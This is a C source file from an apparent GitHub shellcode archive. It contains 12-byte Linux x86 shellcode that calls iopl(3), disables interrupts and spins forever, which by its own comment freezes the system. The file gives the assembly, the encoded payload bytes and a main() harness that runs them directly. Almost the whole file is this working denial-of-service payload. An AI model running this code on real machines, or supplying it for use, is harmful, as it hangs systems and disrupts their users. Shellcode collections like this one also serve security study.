shellcodes/shellcode-205.c at master · amit-raut/shellcodes · GitHub

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/*
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

        [ dun[at]strcpy.pl ]

 [ linux/x86 iopl(3); asm("cli"); while(1){} 12 bytes ]

 ###############################################################
   iopl(3); asm("cli"); while(1){}
   // * this code cause freezeing system
 #################################################################

 __asm__(
        "xorl %eax, %eax\n"
        "pushl $0x3\n"
        "popl %ebx\n"
        "movb $0x6e,%al\n"
        "int $0x80\n"
        "cli\n"
        "x1:\n"
        "jmp x1\n"
 );

*/


char shellcode[]="\x31\xc0\x6a\x03\x5b\xb0\x6e\xcd\x80\xfa\xeb\xfe";

int main() {

        void (*sc)();
        sc = (void *)&shellcode;
        sc();

return 0;
}